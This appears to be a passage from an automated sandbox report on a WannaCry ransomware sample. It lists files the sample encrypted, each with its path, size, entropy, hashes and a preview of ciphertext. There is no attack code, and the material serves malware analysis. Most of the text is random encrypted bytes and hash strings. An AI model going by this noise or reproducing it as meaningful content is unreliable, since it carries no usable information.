                                                                                                      Preview:WANACRY!....2-..SjIv+..>..<....H.T..hE3.\..50...x(.n......"...A5.jV./;...}}D..3L.-F?~..j@..Q+N.^@..u!..:.*;.......3......?.b..c.4.......j-z.5..2...igS...)4%P.k.2.=...6rP..H.u....".Q.5~H..q.b...n_.|b.'Zs2(..NS.vR:...c.V.hr..xXO.....Y..F...Z^#B*.I..l.#PH................vI......z.k.9................tIxh.\..<...-G.....e...x..Vv...A...A.d2:.*...Y.4.&<...v...f.l...N#..B..E...*3.... `.....0.`3u...u.t.}e7.Z.A{...A...9.-.....!!..&.......;B.7.zYp....9p.?.F*...I./U...%...%..y.......Bq%z..B.87...f.v.hY.i@<......u.Hs..H, ......$.~.m..}&.....Y.K..7..gW.....O. &.2..c.p...?Lf.......u1.}X..YT.'.d.M..mm6.V.^{.........y..xY.V.j+.|...mP..7^..6..Op.A..$.)5.PfT~....E....!.U?.>.E.....8.@.8.K8=.C.L.:...Z.p/...x..@a..u.....uqr}6~.|va\...i...C.m.1...;/O.#....b...'.V......}....!@%..<=R.7W..+..7..,...v..|o.3..H_..iG.;bK..A...4...v...j.XnEK... ...@...s......:..)...e.....p......5=CZ...d4cq.,!.......m.9..pW>.WV..Q.'6P6...dt...".L..}4.&.F.3S..*.CMx.......U.j(

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\EFOYFBOLXA.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.853950201418386
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkL5K4Kxff+u4Wu25yjD/QmFsTrYonkV9P1kO/rfbl45hZBRMn:bkoTdW5VBQmUrlnGPT/rBULMn
                                                                                                      MD5:94B15E3EA1D1912036772C4A7B86D215
                                                                                                      SHA1:AFC90BD7E5FC5F51A938413EA0DA450ABEDF9E9D
                                                                                                      SHA-256:4362D89FB45D2F3BDE3DF2DDD064AEBE0FFC03E918CE52105A9C95DB54898ED4
                                                                                                      SHA-512:C69401DC112659BE2369D6E9F52917A819A19BD15E8DD9D4D26C3C4A9A5D7BDFD1DC52FD85CABC41C174F2A4782DDA2A5C6F22E9F5E4B9A45205FF27D959C1B5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....A..?}....u......o.{..l...!......i>..(l.X..6..9..._5.-....'..#..3q.....&....<X.....U..)..`.%.j@....5..P}.joKQGa...r...."..V.:}...[.O..4.6.\.V.g...3y6.|}..z4_..."."..e.}..:k....h.n...h...J..N.k....c...|Vz.....C._..G.......b.:.....(...i........'................#.../....GE..n..8....|.{.M'.....r...8..,..L...?..tt.i...Q..W..&.., }.....WR.......!&s.....7.......[..-..`.1......Att]+.....q<.......g..... .>.u~=|......Y..N....^x.$....[TM.[.S.Pe..iKy.L......}..*g.-......g.j..T..(..I....M..R..Er.I.I>....i.....y. @.C...V.`.....o....... .....m@Ri........J............._j06z....n......~Z./..U......J.H.!e.......2R.UX~....c...u)..l?..($....Ir...F..d' ....$S.EK.{.1.d..]......1j.v.....sb.q.6-...z./...V(Kd"2.e......3S]%.S%L....|.{..C.^.,.:...4......?..1..)..........^-..ZF..8.2P{_~I..X>!..W.X..gt..].v.xu'(.X.n2(an.../...,...R.d..Cho)k.%.M...D...Z%...B.fo.%....`hKF......8.n.j.>.E"0....h.c$...._....1....L*.....=.u.J.S.....n.8......m.....& ....C)4I

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\EFOYFBOLXA.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.820174850870331
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkC7vrbfKXKVrDqGnDea7bK0NvRzMfvn7Xm2QBdDQSoMbadGG4RKNc9Ius:bkCbPQKVXnDeaq4vhGTSraEGTgIus
                                                                                                      MD5:D53146C6638513D0C18879B8BB81995B
                                                                                                      SHA1:144715A6BB25F729A6D2397CCD169AC9D1B3F6EE
                                                                                                      SHA-256:5434BC8AF4AF0CFD26115E2E7E0405A0DC327768D3DBED253354B8A5F451DDBE
                                                                                                      SHA-512:7126A13FF44D715F549B378AE57362A9977C42C7BD7451B71C84D72E4F1EF418B8B7259C8EBB76B87A083105D2F375BA4B23C93097E1D710090078A332809AB8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....p.o..N!\...8.P:....q^~M... .I.)rW..N..B...D.'.D...=xn..A..S:*O.$.f..s...k.......0.l..[..Q.H...Hr..~)..g.P......:..../N..L2._.....M.*...=*.5.LD.ZN\.l...mn.....D[\......POtT...3....h......2#sW...7...Y.7.m.)..j.G#...i.i.Q...#MD.....l[O..;......................v..2_:3'6./.P.......wt..G...{.G&....T'.^..m!.bl..1..tu....,.....u.Px..b.p.<.S........E._Q.F...._.~....*w...*...B.J.f=u..ac:..V....|a.;........8%.9.&,..]gQ....d2yms'.(.y.t..kx......#..g...R..<H./..14#:*.....".rb..f?7..2.Rk.x.NO.J..W..P.J..&..........H..|...t..S..V1@1`|.w.m.O.&..s.S6..6..X.Hw).....*.d.y_...4J.M.<....c..:P~.Mu.......Nt=......B....E.u.z...G......3.L.8O$..s4....d..._ZnL..,...2=.w../(;I..8.d.a...4."q..........B........V.'...f.B#<......C...OIK\w*.M..M6...J...$..v4....]}..{.8...%A(..B.....E*.L.......M....\!....T1...r".....B.:i.~.. ....D..VGG.............S.w..D7..F.?...].#y..."p#8(-Yo..y.d".8-...2....f.A....p.!8.l.}B.Q/A...R....{....:...\.1.M!.d...5............. ...

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.854991230239847
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkJz8qBRUFDSGy275/ZgdCZAl1iZSw2uO6imp6nFoN2i52C5ZhBSbjL:bkJlRQy275/ZpG3iZZm6zpaFI5ZhEbjL
                                                                                                      MD5:CD478FA8E2D840CEB4C984FF96F7244E
                                                                                                      SHA1:692B05B6B5F0729FC59656F11307AA809AFA45E3
                                                                                                      SHA-256:3CC1A30D991FEC6EE3A04ED897B74583F6F4D9C4FC60D2184FCE8C53AA7754AD
                                                                                                      SHA-512:542BFEA6A8C2ECFFDABB174016DE1655A74F901068A3EA115476AADC88DB6F4018DEED131453D880D9730176831936002EEC5E1DBAA81569CE96E29F19288F04
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!...........cG.+.5.....?..u...../..M.0.I..W1.Wk...j....zn..H^.....D '....Qh..G.=@w..SWC..`......H._...b.u+........w}.B.......r.H....X ....Zp....R.jj.2.i...1...-.&.R.}..j)=%d..2v......&.pd.!\....=4Q........W..//.}YON.qc.:..Z..jU.y...t~...A..N.D$="_i.........................2a.+..Z.....^.Y...).L.1...c...>9a.6`..D'...i..r.......}#)73.`3..m..7.$..J.M... ..0...n`...G......-.h0{]!n...h.I.w....#.7.T..,..0.8<.m.|.r..B....K...%4.....R....;yFy...0&.... .@.2...!B-....Z..j.X.3._J..p..C.6...D5..~...../.....:.wC.lg.ih;.H.Nz?5....U!R.b,f.V..,..`O..].9a......ejc...63s...... ..1I.>.9.U./.....Q... ..".u!.}.........X~.(..J...F=...sz./,..)..J..r0..!.BU.".|....;...........2.....t.$<9..Y.W.(P.\.....e#.{*{.*{.`b.7.r,..Ty.G..~.....P..K....~...A..'..r.i.8.....C.u~/.M.k..y...#b{..m....R..^.H..K...........G....Y..=.......tc.O.b...l..........GZ.-.2...+ar...?..d.(.......M...h. .IQ.Ta?.h t.w&......*.y..U..s.}......m.Ou...... ...{...T.9.f.7.2U...+.e.bp.I.@5..`.G....3...

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\FTCMSGAPZP.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.865180826533161
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkQ+I+nCJ+febVqR4eZ590Ie62dBLzlNnZCSdpknLE2ZR/f/ZZl/5uBIn2Y:bknfebVqRbZ5s62d9zlVZjQnLPn3lIIJ
                                                                                                      MD5:4D224E018C5653F40FE14892ECFF47E0
                                                                                                      SHA1:6AF50EAFF69EC4E4555DFABAA44B53D4C54D2FEA
                                                                                                      SHA-256:F3B5247DE25EEEF16F27E2BFC7F02095F60782E0EC37C057D2B3056DF9B230D8
                                                                                                      SHA-512:32C08234886F5B46C073CAD55F610FC4968BC840CD8E68B772B2921CEDA399A46646143DC63C3B0A04B9CED55508A83B5922CDE5B5CBF0147996C248ED30ADD5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........W&.1.f.C3~.."3.l....)........J....o[....}.-l.&...ET..Q{.GV..Jy.\l.|....]b.5#.0...2......+..&....M.s...6^!..,F.).f.....k}oMz..V..t.y3.d.i..9...K.}.b.nT.an.!....I.-....y..........|...W.....G,..Y......c..@..p.......0.a.H.).oI.iT>j+"@..H..Rz............{....c...5.....b4V.b.F/....f..,..K6..L.. .?A...L.wy..C~.lp.. {...z=....9.'D...F{>....o.....{.L.....t.....nX"].q..W_2u.H.VK..+p.....t.$......w......7D8...Z4@.>R.....`.........B3.=nrms+~..."M4.F.2d....zxI....#c<.^y..$C.!..-_.c..~.mJ.c..r..:.ig.)f.....T..z;2.bZ..a..s....).q..d..s[!.u.{....z.N.t.vS.N.L.LAw.2.d_F2R.X(.U:|C{YnSPh]."...w........a..n..4/A.7.x.F.!..'.$X.?."../.1..r.1...Bt.|.2...w..i._%.qn..7..{.-.%.......h.....EK..p......dw.[...k...7.}t.[...G....-T.wu.|.........j......i......'...<...HUvxG....F..[jg...D8...<.//. ..?CD...\VH..n-.8......"..y.S...c. U..J|.....k.xF..#R.Y.B.Y..h.../|.0...).QV...W.2.....Q.rU.G.V..1..fI.{~`I....k.M?.&..(L.t%.M?.m.f.+.XJ....- :T..^....w.

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\GIGIYTFFYT.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8337869357482655
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkiwGUO4IPgM+F7aPCU3NMfHfvRaUgzMRbE6PDH0G8KEH3CUXLOYHysXCB8RV:bkM4DFWPCpHfpGzt6bHuHjXaYHxL
                                                                                                      MD5:6CE68FADD493EF14E5FF94E43BB139C5
                                                                                                      SHA1:4BB23D03E8F308FCBC43EAE0D4972505FD066564
                                                                                                      SHA-256:A9A79DC22E4C55E3FC2BF07F00086D540BE03C51F9BD8E874EED65681F93AFFA
                                                                                                      SHA-512:2EE78D98BA75B5459DB2CA72C7EBBC8C675899084C844C8FB5829AA99BFC350AC93B4976594FC432A0D20F23206525A127414097800080482E2DF9B6C6A1DD5A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....t..H.TR-_$x!...R.`^..[.T...qP?J.|..0]....O>d....0....>..z..>..(.2...N.Pt..#e0.O"U..#Y..>....4.e7...[.;......_.>.C.4k7..X..gP..%h.F......m.....o.U.X...@...<.5.u.w....]'3.....$...".kr.....G.. .Z..N..~H..>](.5v.rs.."z.m..q......&.SV.5tvf.................}.#..p.I..e4.4.mV.!.`..N.5.r.i......f..1...gZ...Kr#..m...bU...9v..S...hZ...h...7t....b.Y.6b.i..)N.......47H.hDl......!{.,MDZ.._.@...h..L....2(...k.....tG..5r...:@..0.:'.D.zH..F&../|N..V...Cg.}Rp@1.z...H.t.3...(0b...U..3er.`.6.|...o.fk..?..J...TNu.... 5.F.....t.5T.E.`YA\.....?..)..|.u.Bz$5...M.-....$."<.y.+.u...u...*..-{..6.0..5....A.....G.N.....q[.Q54......6@..m..v(h.{...[..../.Hof..5.{.q...V.I2_}..v._8.bnLQ..6 .5_.*W.!.......VH.B..~j..../..~......7....x.O...."..).l!.....Z....'=...YD.J...S0.Hz./J2E.9_.Y..cs..$..,.=@.Q7h..F..i...$LL....;..7.....;e}...j....p.0...MOa..k.N.%..t2..5...ZW.%Rdw+......J....Ob..FH.l.5..(...0..X...e..:g.OsR3.-...t'.........+l$.5.... ..ja.].:..j..U....i

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\GNJEVOXLLS.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.859505668225437
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bklBwwSEgIZsNlsEYT35w/HRF0xrsY6e917Yz9zscgD0ICbQQDsvYqGwZ+eQDg0g:bkPqmsCEUuvRFAhpWz9y0IpGtz+CMBt
                                                                                                      MD5:8B3792E04DE73F7C3D28A0A9FCFFAB91
                                                                                                      SHA1:F24A95D01864C9AD7A00C82E723019A7B5CDC2BA
                                                                                                      SHA-256:710B7EC8870E693EB8AADDFDD39665AE2A392A67C5D3173C5C78B6A0F55761A6
                                                                                                      SHA-512:0A28068DF323FE803C6F5D5FEA861EACF8279D7A2031E16D260B091B7C06C329CB3C5C9BF784C548355B743EC63DCB2336CBD940EA9BA4F186795ED5B2B39299
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....G....zH..1x.V.....*.Z.........0.W....F....0.W..t2....T...5.=.......p. .6...,K...".u.d.e..D%vD...&+....ef......JBy0...].M..2.0.bX1G.*^...k...#;.y...q...I...X[.l....F.q....1...c(7.O.a.....E.H....vs>:.}@....S.....!.'!g.u..#...2....GLDK....W.|...............4......L.jlT..$R"..xQd...BS..<i..oO@..._...L<.Z.E`..aJGf..SM.'.:....a+u.1......{L:X....J...[... ....i...JM...s..d.M..."m.{....:\......t.e.cJ0..gzW..Q...4..1.o..b.......[..i.....\....n.....M1k-$.....g.......-A....;}.)uj.,..K...c.......f../.......i.H.4n..V....67f......e....(.d"..MG~.*.!!^O.h..}.[>.{.....F.J..m1aq.%.O...~.$...p$.&.~l:._.......u.%..A./r....P..X.qo..U..%lS..e.FE6/.=..P.Y..P.....w.&R..<nFGP6n..[..D,n.@=.T.Q.wo.s..~....%\d.....A.l7....c.P6.j....A^IF.b.r.z..'.&..64...>J.}.4..^PLv.2..WJ.0.<?(.&n..h...q:J...}....F.l..m.^&.?...I..4Q.{2.SK.C..A/2 E...........!.........MQ...bxu..o......>.1!B.f........^..C.J./.......%.-.......9.@..:...C.q/2.....=...F....ts.."P..r'..

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.849582357645274
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk86ZZowb1J8h76LZEgR4i6WWf+CTta7iErAVCCu0T/0buoduAuAw7K52/mDhito:bkHZZBJ078R4i6WbZWsKCDDbuod4Ax2Y
                                                                                                      MD5:B2125E5D817DD017B93817BDA91F5465
                                                                                                      SHA1:10034EDD2D9B7AC893EF1265060610CADF9EF643
                                                                                                      SHA-256:79C7849AFC48AA5ADC64D79FE9FCF26A460347A4339ECC361A084A212EDCD0F9
                                                                                                      SHA-512:CAA38C71DC6930634696D92CE37F0DAEF523982233A416F43E7EFC15DCB6BF9811CD4009AEFB96104216B9116E7068D1A11F88EA4972CF84EDA285AFF48BD6A0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....,.......I.j1-.pt7....U.T.Y..r.1"...q?..qv..B+}...J.u........z..B.?.V....b..l2x,.1x...h!m..k.4.\....W.O....N..F.[./...n.'...Z...f............*+.h^[.m.m...s...A.V.c.OG:._.....&....t.......d.....m+...y.7.O.....nE8.[.a.b......yE...u5o.....\5N.UX.B/.............+jF....-.A....km.|..}.7..N....s..1...@..o.x,v.&...&y..,;IL.A....+...:...W.r`..j8.@t.*B..e.*%......'.r.K{=g.....q.....x }....3$O.+J.#I.F8h......}].G:.=VZ..b..x8.O........Us!.3>D.....rv..4......<..~.._.......I\....f......g.Wt...iW...`.b.d....5...5c.-.C.k.<.).o....'....a~]c..n...=...K....*4...a..'p.......QV...B.*.T..,..W....D..bv]p@.P......Y......=.......A.J|.wO;f..vo....E6.qG...u..?...+....I...f...:..;.....9U...&iw\^.".....G.s.dG{=F.9.(....G$6...R?J...1?...}\9.&.K..KE+c...j.=.Qg.2[........~.6..O....v../.!.o=.....OI5..F......F.O..^qu...s.1....q'Lq..y9..m...c.'5z..x.......#.M....K....(......`.D.y.9n.|...<.Q...~~...E.C..].;.?...r.#.S.i+..v...6....D...+*..m;m.o..T................

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.827980701255962
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkS3Jvf3q8GJnCjG/qXR9tlHdeMb870hpcDS8wN5dIz8oQTrZyYth:bkSpCNKUuR9txEMVcDS8q8z8oYJth
                                                                                                      MD5:C044204298A70E4DCCA1896741039CCE
                                                                                                      SHA1:3AED9AC7B0311AD6FB3C25241DF2C8687E13625A
                                                                                                      SHA-256:AA66A7CBB4E125B7731F8F382F4099E8C84385DAB5E6059A8CEDDD1CDDB3987C
                                                                                                      SHA-512:CE4F16A91C1D342757DC23B0FDD75F8E30A305B58AD7E61EA85963EE507EA40A6686A9FE41F1023FAB32395D0149DCB26C5FE7BD7B728E189A24B96FBBD46026
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....p'..\.O..5x..........U......L.5.R.).O......E.....@..v)....>.W@`..7v.3-..i.2^.l..Q4.o..+.....N.vj...B...Xl..][....X.n....w..^y...8%.. ..>.....}!.Q..x.W.Q...>.2.......~m..)zW..o..o.Jtg..O...H....n......@...n.\~...-..U:..+d.alP.V.O.Uk.......G../*.c.............C..B.B.sze.>........c,..U..(:..].....|..#|..C.mY......L........3.]... .~.o.).b..)C'......h.@g.N.g...Qf...o...d...3........L.... }..%.....[..f.^..s../c.@!."..l..........k...{t..Y...Hb.q..g.._Od.g.*MZ.|,...P..+K^w/.4...5.x.B1..........,....C.A[.Q...G.P.ok...c*....[Y.|.:$.......*..B|..6.P......!.M#UkF....'.L.9..[...Z...J....T(...........Oh.U....M4.y...|...<E...W.....y.m.............^...!..kl...QT..|a.SFh."...D...S..S.0rHT.............[..`....5.[ .>'......j.Ix..". .d..z..r..6:K.}`..ZeDF..Q.)-C.e..G@.)84P.....A..J...C...|...<.t.....H...v{.B.J....N...,WH**..2."L...X....."w..S0.S+...U../.....X$...(8y..........e.Z('...Czz.`!..5.(.fD..a......fI.B.....$K^7*0..<..P...._.r......[nQz..)..0...,H.[

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\KLIZUSIQEN.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.849853467791589
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk4oF3O6Zac952kzvkyDWaonU8X7FmbLyDyB9aIjflmlS+Cq6XJbSYcoV7ojswyf:bkPJMcP2kzvkeeX7P49/flmsrqapSYff
                                                                                                      MD5:0722C95ECA41C4FE53D784D7F9A60215
                                                                                                      SHA1:8926C9633F45972919892CDC16F1B58D89BD7B18
                                                                                                      SHA-256:8EF83E1772BE392E8C0E8276C3599D49FFEECCA412AB471AEA8BDF685BCD413B
                                                                                                      SHA-512:E015AA4EDEB7873C0A9723AA4615FB9E616E2DEF612BFEE7E88C69D5AAFCCB20AC522331F72F08AF426CE859589FAB300AA8F72FB41125150EEEAD34879BDE99
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....qj.......&7.WM....I.'........V..2.M...$I.D....bv..\..|B.}U.....-..a..j..M.9.&.....{.[GAvm..u.;[@.z.*....[.s...Q.../...@}.a]....i..)e.vqK.^/m.f.#..........s...NCH..-..}9...n..'.b ....z<:...~3...V:B@...x....%....w..O....J....T.....{.[<..S...<..k..#..............}.........E%....-.y....J&..~.......Q....V.>....,.......V.Pk...n..!..ao.l.b.../..Peb0....$@(*pP...".|.I.35..49A.y.. .....a.(Z_.3...N....r...I....;U..3......^.....:]..*...m.Y.(S=h.UA..g.J..\..J9.x..q..y.YU....G..m$FV...Q.g.p#.....u....'OZ.....U.......g.h...p.....Pq..p...........qJ.!Q..Ol..8....~.....M....HA.M/....p....1....(.*....p...i...\.X](/X........UlTV.;...*Q.k..)&..:..rN.;m...u@..)v.5.....#}.....4.)...[....5.a.Jo(.f.~..=..(..d.A.c{.`...5.k!...}.W.lx#ss......T&.PK`.4....tq..k.X.Ql..^.t..:.......Q..:....7qR..+.~.z &.._D^...4".(!.o..9#....-%....[..jKtyb1..e,..u.{..s...'Ym.....ja1..M..|..lH.Lz.=.Qv.D.6'.=.....iA.Zd...|.T..@.j..{h.t........U)........$.....gQ......z..W^.@.5"..9.

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\MOCYNWGDZO.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.858472347031744
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkjRbQlbX9Mgc3AnaKa8gkeUOzJsDCcQ5jTRQYpVn1PDC6gSVuxcFvMp3mc0Yoa:bk5QlbLnaKYke9zJsWcqjTDlh9UMvsmw
                                                                                                      MD5:659536FEFD7F3675E01D229461D07527
                                                                                                      SHA1:6813483C0EF1FAD61C2909589AF56B00D5B859E9
                                                                                                      SHA-256:31A183372542DD31C017FBAF51B0F6A0D5393D09AD632007BA7FCD0491A551BE
                                                                                                      SHA-512:74A9385AC8F22D2838A1BBE8797E50F23A408942FF2EFF701E656CDFFB7D15513A15F1A2EF3033A7675EF1302C7878C796411F1E9EAD6E61CBD1FC0C2E0F31CD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......^.4..t....1.....UV$..._B.]M..1@m...*......}..`a....P..........=6%.I.H..B.\.>..kW.!......a.5..5.gK.G.)..,.7..]E..m...J.Y].al.u...0v..h.0.^7D....Y.z..x.`ny6..Kv...w......X.$K.......".......F%..7^.C.D\.......W.fm#-d..X*e.34w;.....b.=..W.Q..?q............6..].....3u7H..P.oPo....x^Uip......-.....u..B..N...V......J......j$.......K.}..H....;...D.hK........%J.....?....t.7KI.H.....(._1..NHp.w.2..8:.r.\...w&<L.%.. ~....$......r.\..;...]j.K..d.k..@..&.I.'&..V..o.,b.?G..D.g.0.no.D.d."..q...&.,*.....Td.d....B...TR%!^...\E....{u...)Y(.. ...OL ....T....i*.}.R.;t.RmF@...n..a.`FXx..'vp!...WeJt`.\..:J.po.:-.Y...4.}L.....M..{xD.r. ..,.=S.(yp5....Z...1...%#..)..o..2...s..n".\.n.j..X.......+n.V.N'yq'....-dHA..{(..Fm7.sd...... .Ld.-....e.x.p.S.".t..S..`.0x..L...2...5PfX..QxP..0...k..V.....y........N+?.`.#..#2....()2.Q..;Oz...Q.. .A...L............\.T..}`1.&..<..'8..w...V....lE.......~..=..:.\.f...U.w..Q..+.k..fvz....P.....J.1.....6....t.3..sj.

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\MOCYNWGDZO.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.849465866803912
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkjoaoDGM+/XGXPM5LJBubxUORaULU/Xt6Ks04K5kY74sdBu9c6l1HNR:bkjRtM+/XGXPMZyfRaUH0ZkY7r/CX
                                                                                                      MD5:0EE43DEF88FD7140F7438DF5E10F8752
                                                                                                      SHA1:91062C977EFAED6DA6583630D7859BE1AAF68FC5
                                                                                                      SHA-256:7968D4DD610EE624F6835EF92A3D43FEAC0B3AC86C99FB2C636F741E42680F4F
                                                                                                      SHA-512:ED648EEA8527AC3881645999D70C02106087D631B7BC8996C7CE4D14AD2EB874E5AB11FDF80C47476E68506DB2308D5BBC0C4577411F9C070D5708B666D9DA92
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....N....CL.2.m....t.).g.^.WG...h.S....&KalZ..Cu.....J..B.X....w1../A.n.....z..D.....g.[._......u....T...~.w.v....@zj.....]rj...0."V( ?Q...3r.<!.............o;....0X...7.M0..|H..T.~,.....=..8A[...T...^.V.6.F......./.....d.`.)._..a.E}......\.M...k...............k>...rTi..6p.9...*..D.......gL.<:B...+K8Y....1..!.f/H..V....]h@KT.[....s..6.....k...=....>....n#..UirD...2......laY.......jC...0......{/../...A.kf<....#%{c..P...y.a#v.P.....4.>|..Y....b'.y..I........GY.6.m...iy..I.V..Z..QR..`y7!v...R2[`...;...6...74.k..>....?C.nUN.<....'.8W.#.....Z~JFq....E.8........,.....{..ghC.N6.5..'9U...U.....b.Q..A.8.$6...R_.1....-...b5)....S.......Uh.&...kb.%.j!.r|...:f......4....x`.4[.i..\..3{1..#t"'..d...G..3..$.mJ..+.8......UQ4..q...g.^*P1s ..g...<.O.o....<[."..".~.....(."L.....jV..f.@R.7K.H.1........7....Y..j..zq.....T........o../E....;._....=.k...9.!~.$.a.~.!..%..4..J..c...J....,=.d.;D.H@.... XKYo?.<.d..J...YT6......#....t'.S.]@I1....y.Q.?D.SJ.5..,.

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.850896905314187
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkj4v8HDx6OU7Te+7NhzECEN0IjR0NH6sSJsFKmsLBJLK0DE2POmXMHpY49utAPy:bkMv8tk7TZ7NREl0rHCswmsLBJm0/POU
                                                                                                      MD5:CC6B09AF1388E22CF4295D31F12134C5
                                                                                                      SHA1:3FF64057314602B1E6844ED4AC3516D24A98B041
                                                                                                      SHA-256:8F5B9A4C739C5217F645A643D7263B5445ECF74AC3E996798F3C5224CDFF3421
                                                                                                      SHA-512:929EACE7FD2158203616865507F8FBBB47E4EF573746413D0052A93AB0D550BE870180A8FA76A08B50870AC910287C44C25B768973D0C0856A3AC892E0D7DEC6
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........x#6.ZN4...U...`.>st..t3.L..3H..O.P.UF..,..+.S....[..@ag.......F."<bs.._#.2.t`Xq2?.E4..U;a6Y>C.r]}*...}...^..2...I...y.KhR7."7..""........b.O.Jmy(........B.Z.n8..:].../L1_...]..sE.v.]w?!ebX...l.)'...O.jT.p8....5..O......%g.;o.hZ..3.|+.....1.X.............'..G.L..W.m{.:.~a..u.h.y...E.0..>c.=R..Un...a.;...|..!g kv.H8KE,v..5.h.XcH....6.R..6.I....R.H..8ox......V..N5..v......4]....}."..T..m0.R......J..H..f4..xQh.........3Sd.l..x.!.Z...C BXR.z...Z..$..@....E...JUv.d.....<.......T...DCF..h..d<.X7.V.G#{.1..$.K.?...^...<$._z..Q4J#..EC.`-3.].W._.R..R.....EM..k$..R...~..m.x..2.>6&..~./K..{I..F^..../j=a+K..l.7.....2...n.`.bL.5...x.u...z..-........?V^.u...2A......p<.......\......H..376n...6.<ZSn}...,.k.Y3ms..0.O..Z..B%.A.Ws...U.3_....6.....Rs......A..."5.....]..$k&..A.>..I.l0/._..u...@.a....y.:(*v@..z..z.l.....d1.n.......q.Z.[.....D..@...FN..^...nG@}..:.#.9.....8........oh75..(-...VO.....u.jp.. .......i.G.q.7.S.L.h..n..{.uX...M.G

